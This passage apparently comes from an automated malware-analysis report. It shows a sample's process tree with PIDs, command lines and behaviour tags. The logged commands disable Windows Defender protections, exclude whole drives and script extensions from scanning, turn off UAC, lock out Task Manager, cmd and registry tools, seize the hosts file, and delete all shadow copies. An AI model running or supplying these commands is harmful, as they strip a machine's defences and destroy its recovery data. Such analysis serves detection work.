        reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f
        23⤵
        
        PID:5804
        
        C:\Windows\SYSTEM32\netsh.exe
        
        netsh wlan show profiles
        22⤵
        System Network Configuration Discovery: Wi-Fi Discovery
        
        PID:6324
        
        C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        23⤵
        
        PID:7112
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionPath '.exe'"
        22⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:3356
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionPath '.bat'"
        22⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:6280
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionPath '.vbs'"
        22⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:5460
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionPath '.py'"
        22⤵
        
        PID:4216
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "tasklist"
        22⤵
        
        PID:6880
        
        C:\Windows\system32\tasklist.exe
        
        tasklist
        23⤵
        Enumerates processes with tasklist
        
        PID:5068
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionPath '.pyw'"
        22⤵
        
        PID:5380
        
        C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        23⤵
        
        PID:1764
        
        C:\Windows\System32\Wbem\wmic.exe
        
        wmic product get name
        22⤵
        
        PID:6692
        
        C:\Windows\SYSTEM32\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f
        22⤵
        
        PID:6996
        
        C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        23⤵
        
        PID:3952
        
        C:\Windows\SYSTEM32\reg.exe
        
        reg delete "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableRealtimeMonitoring /f
        22⤵
        
        PID:6520
        
        C:\Windows\SYSTEM32\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableRealtimeMonitoring /t REG_DWORD /d 1 /f
        22⤵
        
        PID:4616
        
        C:\Windows\SYSTEM32\reg.exe
        
        reg delete "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v SubmitSamplesConsent /f
        22⤵
        
        PID:1116
        
        C:\Windows\SYSTEM32\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v SubmitSamplesConsent /t REG_DWORD /d 2 /f
        22⤵
        
        PID:3240
        
        C:\Windows\SYSTEM32\reg.exe
        
        reg delete "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableCloudProtection /f
        22⤵
        
        PID:2972
        
        C:\Windows\SYSTEM32\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableCloudProtection /t REG_DWORD /d 1 /f
        22⤵
        
        PID:5604
        
        C:\Windows\SYSTEM32\reg.exe
        
        reg delete "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Behavior Monitoring" /v DisableBehaviorMonitoring /f
        22⤵
        
        PID:4532
        
        C:\Windows\SYSTEM32\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Behavior Monitoring" /v DisableBehaviorMonitoring /t REG_DWORD /d 1 /f
        22⤵
        
        PID:304
        
        C:\Windows\SYSTEM32\reg.exe
        
        reg delete "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableNetworkProtection /f
        22⤵
        
        PID:1768
        
        C:\Windows\SYSTEM32\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableNetworkProtection /t REG_DWORD /d 1 /f
        22⤵
        
        PID:7012
        
        C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        23⤵
        
        PID:1968
        
        C:\Windows\SYSTEM32\reg.exe
        
        reg delete "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiVirusSignatures /f
        22⤵
        
        PID:5264
        
        C:\Windows\SYSTEM32\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiVirusSignatures /t REG_DWORD /d 1 /f
        22⤵
        
        PID:7136
        
        C:\Windows\SYSTEM32\reg.exe
        
        reg delete "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAccess /f
        22⤵
        
        PID:6456
        
        C:\Windows\SYSTEM32\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAccess /t REG_DWORD /d 1 /f
        22⤵
        
        PID:3260
        
        C:\Windows\SYSTEM32\reg.exe
        
        reg delete "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableSecurityCenter /f
        22⤵
        
        PID:5844
        
        C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        23⤵
        
        PID:6984
        
        C:\Windows\SYSTEM32\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableSecurityCenter /t REG_DWORD /d 1 /f
        22⤵
        
        PID:1484
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "taskkill /f /im firefox.exe"
        22⤵
        
        PID:6612
        
        C:\Windows\system32\taskkill.exe
        
        taskkill /f /im firefox.exe
        23⤵
        Kills process with taskkill
        
        PID:3100
        
        C:\Windows\SYSTEM32\setx.exe
        
        setx PATH "C:\Users\systemrayxadmin;C:\Users\Admin\AppData\Local\Temp\_MEI12642\pywin32_system32;C:\Users\Admin\AppData\Local\Temp\_MEI12642\pywin32_system32;C:\Users\Admin\AppData\Local\Temp\_MEI12642\pywin32_system32;C:\Users\Admin\AppData\Local\Temp\_MEI12642\pywin32_system32;C:\Users\Admin\AppData\Local\Temp\_MEI12642\pywin32_system32;C:\Users\Admin\AppData\Local\Temp\_MEI17882\pywin32_system32;C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Program Files\dotnet\;C:\Users\Admin\AppData\Local\Microsoft\WindowsApps;"
        22⤵
        
        PID:7912
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c takeown /f C:\Windows\System32\drivers\etc\hosts
        22⤵
        
        PID:7932
        
        C:\Windows\system32\takeown.exe
        
        takeown /f C:\Windows\System32\drivers\etc\hosts
        23⤵
        Possible privilege escalation attempt
        Modifies file permissions
        
        PID:5344
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "reg add HKLM\SYSTEM\CurrentControlSet\Control\Power /v PowerButtonAction /t REG_DWORD /d 0 /f"
        22⤵
        
        PID:7952
        
        C:\Windows\system32\reg.exe
        
        reg add HKLM\SYSTEM\CurrentControlSet\Control\Power /v PowerButtonAction /t REG_DWORD /d 0 /f
        23⤵
        Modifies registry key
        
        PID:1488
        
        C:\Windows\SYSTEM32\diskpart.exe
        
        diskpart
        22⤵
        
        PID:7984
        
        C:\Windows\SYSTEM32\vssadmin.exe
        
        vssadmin delete shadows /all /quiet
        22⤵
        Interacts with shadow copies
        
        PID:8108
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableRegistryTools /t REG_DWORD /d 1 /f"
        22⤵
        
        PID:8116
        
        C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        23⤵
        
        PID:1484
        
        C:\Windows\system32\reg.exe
        
        reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableRegistryTools /t REG_DWORD /d 1 /f
        23⤵
        
        PID:7768
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Checkpoint-Computer -Description \"CustomRestorePoint\" -RestorePointType \"MODIFY_SETTINGS\""
        22⤵
        
        PID:656
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c icacls C:\Windows\System32\drivers\etc\hosts /remove "NT AUTHORITY\TrustedInstaller"
        22⤵
        
        PID:7332
        
        C:\Windows\system32\icacls.exe
        
        icacls C:\Windows\System32\drivers\etc\hosts /remove "NT AUTHORITY\TrustedInstaller"
        23⤵
        Possible privilege escalation attempt
        Modifies file permissions
        
        PID:5312
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "echo %COMPUTERNAME%"
        22⤵
        
        PID:5524
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "netsh wlan show profiles"
        22⤵
        System Network Configuration Discovery: Wi-Fi Discovery
        
        PID:7244
        
        C:\Windows\system32\netsh.exe
        
        netsh wlan show profiles
        23⤵
        System Network Configuration Discovery: Wi-Fi Discovery
        
        PID:4456
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "echo %USERNAME%"
        22⤵
        
        PID:6380
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "netsh wlan show interfaces"
        22⤵
        
        PID:1416
        
        C:\Windows\system32\netsh.exe
        
        netsh wlan show interfaces
        23⤵
        
        PID:332
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "reg delete HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /f"
        18⤵
        
        PID:6852
        
        C:\Windows\system32\reg.exe
        
        reg delete HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /f
        19⤵
        
        PID:5216
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f"
        18⤵
        
        PID:5468
        
        C:\Windows\system32\reg.exe
        
        reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
        19⤵
        
        PID:5272
        
        C:\Windows\SYSTEM32\reg.exe
        
        reg delete "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /f
        18⤵
        
        PID:6568
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionPath 'C:\'"
        18⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:5928
        
        C:\Windows\SYSTEM32\reg.exe
        
        reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableCMD /t REG_DWORD /d 1 /f
        18⤵
        
        PID:2644
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionPath 'D:\'"
        18⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:2648
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f"
        18⤵
        
        PID:2004
        
        C:\Windows\system32\reg.exe
        
        reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f
        19⤵
        Modifies registry key
        
        PID:7112
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionPath '.exe'"
        18⤵
        
        PID:5220
        
        C:\Windows\SYSTEM32\netsh.exe
        
        netsh wlan show profiles
        18⤵
        Event Triggered Execution: Netsh Helper DLL
        System Network Configuration Discovery: Wi-Fi Discovery
        
        PID:1824
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionPath '.bat'"
        18⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:1996
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionPath '.vbs'"
        18⤵
        
        PID:6632
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionPath '.py'"
        18⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:6208
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "tasklist"
        18⤵
        
        PID:6460
        
        C:\Windows\system32\tasklist.exe
        
        tasklist
        19⤵
        Enumerates processes with tasklist
        
        PID:6988
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionPath '.pyw'"
        18⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:4552
        
        C:\Windows\System32\Wbem\wmic.exe
        
        wmic product get name
        18⤵
        
        PID:6724
        
        C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        19⤵
        
        PID:1052
        
        C:\Windows\SYSTEM32\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f
        18⤵
        
        PID:4824
        
        C:\Windows\SYSTEM32\reg.exe
        
        reg delete "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableRealtimeMonitoring /f
        18⤵
        
        PID:5776
        
        C:\Windows\SYSTEM32\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableRealtimeMonitoring /t REG_DWORD /d 1 /f
        18⤵
        
        PID:5020
        
        C:\Windows\SYSTEM32\reg.exe
        
        reg delete "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v SubmitSamplesConsent /f
        18⤵
        
        PID:5444
        
        C:\Windows\SYSTEM32\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v SubmitSamplesConsent /t REG_DWORD /d 2 /f
        18⤵
        
        PID:284
        
        C:\Windows\SYSTEM32\reg.exe
        
        reg delete "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableCloudProtection /f
        18⤵
        
        PID:2432
        
        C:\Windows\SYSTEM32\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableCloudProtection /t REG_DWORD /d 1 /f
        18⤵
        
        PID:6676
        
        C:\Windows\SYSTEM32\reg.exe
        
        reg delete "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Behavior Monitoring" /v DisableBehaviorMonitoring /f
        18⤵
        
        PID:5236
        
        C:\Windows\SYSTEM32\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Behavior Monitoring" /v DisableBehaviorMonitoring /t REG_DWORD /d 1 /f
        18⤵
        
        PID:6520
        
        C:\Windows\SYSTEM32\reg.exe
        
        reg delete "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableNetworkProtection /f
        18⤵
        
        PID:6000
        
        C:\Windows\SYSTEM32\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableNetworkProtection /t REG_DWORD /d 1 /f
        18⤵
        
        PID:2292
        
        C:\Windows\SYSTEM32\reg.exe
        
        reg delete "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiVirusSignatures /f
        18⤵
        
        PID:6224
        
        C:\Windows\SYSTEM32\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiVirusSignatures /t REG_DWORD /d 1 /f
        18⤵
        
        PID:3908
        
        C:\Windows\SYSTEM32\reg.exe
        
        reg delete "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAccess /f
        18⤵
        
        PID:244
        
        C:\Windows\SYSTEM32\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAccess /t REG_DWORD /d 1 /f
        18⤵
        
        PID:7092
        
        C:\Windows\SYSTEM32\reg.exe
        
        reg delete "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableSecurityCenter /f
        18⤵
        
        PID:2980
        
        C:\Windows\SYSTEM32\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableSecurityCenter /t REG_DWORD /d 1 /f
        18⤵
        
        PID:1880
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "taskkill /f /im firefox.exe"
        18⤵
        
        PID:6016
        
        C:\Windows\system32\taskkill.exe
        
        taskkill /f /im firefox.exe
        19⤵
        Kills process with taskkill
        
        PID:6724
        
        C:\Windows\SYSTEM32\setx.exe
        
        setx PATH "C:\Users\systemrayxadmin;C:\Users\Admin\AppData\Local\Temp\_MEI12642\pywin32_system32;C:\Users\Admin\AppData\Local\Temp\_MEI12642\pywin32_system32;C:\Users\Admin\AppData\Local\Temp\_MEI12642\pywin32_system32;C:\Users\Admin\AppData\Local\Temp\_MEI12642\pywin32_system32;C:\Users\Admin\AppData\Local\Temp\_MEI17882\pywin32_system32;C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Program Files\dotnet\;C:\Users\Admin\AppData\Local\Microsoft\WindowsApps;"
        18⤵
        
        PID:5828
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c takeown /f C:\Windows\System32\drivers\etc\hosts
        18⤵
        
        PID:1088
        
        C:\Windows\system32\takeown.exe
        
        takeown /f C:\Windows\System32\drivers\etc\hosts
        19⤵
        Possible privilege escalation attempt
        Modifies file permissions
        
        PID:7520
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "reg add HKLM\SYSTEM\CurrentControlSet\Control\Power /v PowerButtonAction /t REG_DWORD /d 0 /f"
        18⤵
        
        PID:2764
        
        C:\Windows\system32\reg.exe
        
        reg add HKLM\SYSTEM\CurrentControlSet\Control\Power /v PowerButtonAction /t REG_DWORD /d 0 /f
        19⤵
        
        PID:6780
        
        C:\Windows\SYSTEM32\diskpart.exe
        
        diskpart
        18⤵
        
        PID:3992
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableRegistryTools /t REG_DWORD /d 1 /f"
        18⤵
        
        PID:6472
        
        C:\Windows\system32\reg.exe
        
        reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableRegistryTools /t REG_DWORD /d 1 /f
        19⤵
        Modifies registry key
        
        PID:7404
        
        C:\Windows\SYSTEM32\vssadmin.exe
        
        vssadmin delete shadows /all /quiet
        18⤵
        Interacts with shadow copies
        
        PID:5824
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c icacls C:\Windows\System32\drivers\etc\hosts /remove "NT AUTHORITY\TrustedInstaller"
        18⤵
        
        PID:7824
        
        C:\Windows\system32\icacls.exe
        
        icacls C:\Windows\System32\drivers\etc\hosts /remove "NT AUTHORITY\TrustedInstaller"
        19⤵
        Possible privilege escalation attempt
        Modifies file permissions
        
        PID:7832
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Checkpoint-Computer -Description \"CustomRestorePoint\" -RestorePointType \"MODIFY_SETTINGS\""
        18⤵
        
        PID:6372
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "echo %COMPUTERNAME%"
        18⤵
        
        PID:7260
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "netsh wlan show profiles"
        18⤵
        System Network Configuration Discovery: Wi-Fi Discovery
        
        PID:7644
        
        C:\Windows\system32\netsh.exe
        
        netsh wlan show profiles
        19⤵
        System Network Configuration Discovery: Wi-Fi Discovery
        
        PID:7012
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "echo %USERNAME%"
        18⤵
        
        PID:7840
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "netsh wlan show interfaces"
        18⤵
        
        PID:5900
        
        C:\Windows\system32\netsh.exe
        
        netsh wlan show interfaces
        19⤵
        
        PID:304
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "reg delete HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /f"
        14⤵
        
        PID:2212
        
        C:\Windows\system32\reg.exe
        
        reg delete HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /f
        15⤵
        
        PID:3116
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f"
        14⤵
        
        PID:1792
        
        C:\Windows\system32\reg.exe
        
        reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
        15⤵
        UAC bypass
        
        PID:2956
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "reg delete HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v ConsentPromptBehaviorAdmin /f"
        14⤵
        
        PID:5084
        
        C:\Windows\system32\reg.exe
        
        reg delete HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v ConsentPromptBehaviorAdmin /f
        15⤵
        
        PID:3656
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v ConsentPromptBehaviorAdmin /t REG_DWORD /d 0 /f"
        14⤵
        
        PID:3044
        
        C:\Windows\system32\reg.exe
        
        reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v ConsentPromptBehaviorAdmin /t REG_DWORD /d 0 /f
        15⤵
        UAC bypass
        Modifies registry key
        
        PID:1768
        
        C:\Windows\SYSTEM32\reg.exe
        
        reg delete "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /f
        14⤵
        
        PID:4748
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionPath 'C:\'"
        14⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:1236
        
        C:\Windows\SYSTEM32\reg.exe
        
        reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableCMD /t REG_DWORD /d 1 /f
        14⤵
        Disables cmd.exe use via registry modification
        
        PID:1552
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionPath 'D:\'"
        14⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:4928
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f"
        14⤵
        
        PID:2348
        
        C:\Windows\system32\reg.exe
        
        reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f
        15⤵
        
        PID:5352
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionPath '.exe'"
        14⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:4100
        
        C:\Windows\SYSTEM32\netsh.exe
        
        netsh wlan show profiles
        14⤵
        Event Triggered Execution: Netsh Helper DLL
        System Network Configuration Discovery: Wi-Fi Discovery
        
        PID:2004
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionPath '.bat'"
        14⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:5092
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionPath '.vbs'"
        14⤵
        
        PID:5224
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionPath '.py'"
        14⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:5292
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "tasklist"
        14⤵
        
        PID:5736
        
        C:\Windows\system32\tasklist.exe
        
        tasklist
        15⤵
        Enumerates processes with tasklist
        
        PID:6592
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionPath '.pyw'"
        14⤵
        
        PID:6824
        
        C:\Windows\System32\Wbem\wmic.exe
        
        wmic product get name
        14⤵
        
        PID:5528
        
        C:\Windows\SYSTEM32\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f
        14⤵
        
        PID:4236
        
        C:\Windows\SYSTEM32\reg.exe
        
        reg delete "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableRealtimeMonitoring /f
        14⤵
        
        PID:6996
        
        C:\Windows\SYSTEM32\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableRealtimeMonitoring /t REG_DWORD /d 1 /f
        14⤵
        Modifies Windows Defender Real-time Protection settings
        
        PID:6992
        
        C:\Windows\SYSTEM32\reg.exe
        
        reg delete "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v SubmitSamplesConsent /f
        14⤵
        
        PID:1968
        
        C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        15⤵
        
        PID:4976
        
        C:\Windows\SYSTEM32\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v SubmitSamplesConsent /t REG_DWORD /d 2 /f
        14⤵
        
        PID:5004
        
        C:\Windows\SYSTEM32\reg.exe
        
        reg delete "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableCloudProtection /f
        14⤵
        
        PID:6984
        
        C:\Windows\SYSTEM32\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableCloudProtection /t REG_DWORD /d 1 /f
        14⤵
        
        PID:2188
        
        C:\Windows\SYSTEM32\reg.exe
        
        reg delete "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Behavior Monitoring" /v DisableBehaviorMonitoring /f
        14⤵
        
        PID:3980
        
        C:\Windows\SYSTEM32\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Behavior Monitoring" /v DisableBehaviorMonitoring /t REG_DWORD /d 1 /f
        14⤵
        
        PID:5832
        
        C:\Windows\SYSTEM32\reg.exe
        
        reg delete "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableNetworkProtection /f
        14⤵
        
        PID:5640
        
        C:\Windows\SYSTEM32\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableNetworkProtection /t REG_DWORD /d 1 /f
        14⤵
        
        PID:6764
        
        C:\Windows\SYSTEM32\reg.exe
        
        reg delete "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiVirusSignatures /f
        14⤵
        
        PID:4728
        
        C:\Windows\SYSTEM32\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiVirusSignatures /t REG_DWORD /d 1 /f
        14⤵
        
        PID:3460
        
        C:\Windows\SYSTEM32\reg.exe
        
        reg delete "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAccess /f
        14⤵
        
        PID:244
        
        C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        15⤵
        
        PID:3392
        
        C:\Windows\SYSTEM32\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAccess /t REG_DWORD /d 1 /f
        14⤵
        
        PID:6780
        
        C:\Windows\SYSTEM32\reg.exe
        
        reg delete "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableSecurityCenter /f
        14⤵
        
        PID:3040
        
        C:\Windows\SYSTEM32\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableSecurityCenter /t REG_DWORD /d 1 /f
        14⤵
        
        PID:1060
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "taskkill /f /im firefox.exe"
        14⤵
        
        PID:6216
        
        C:\Windows\system32\taskkill.exe
        
        taskkill /f /im firefox.exe
        15⤵
        Kills process with taskkill
        
        PID:2292
        
        C:\Windows\SYSTEM32\setx.exe
        
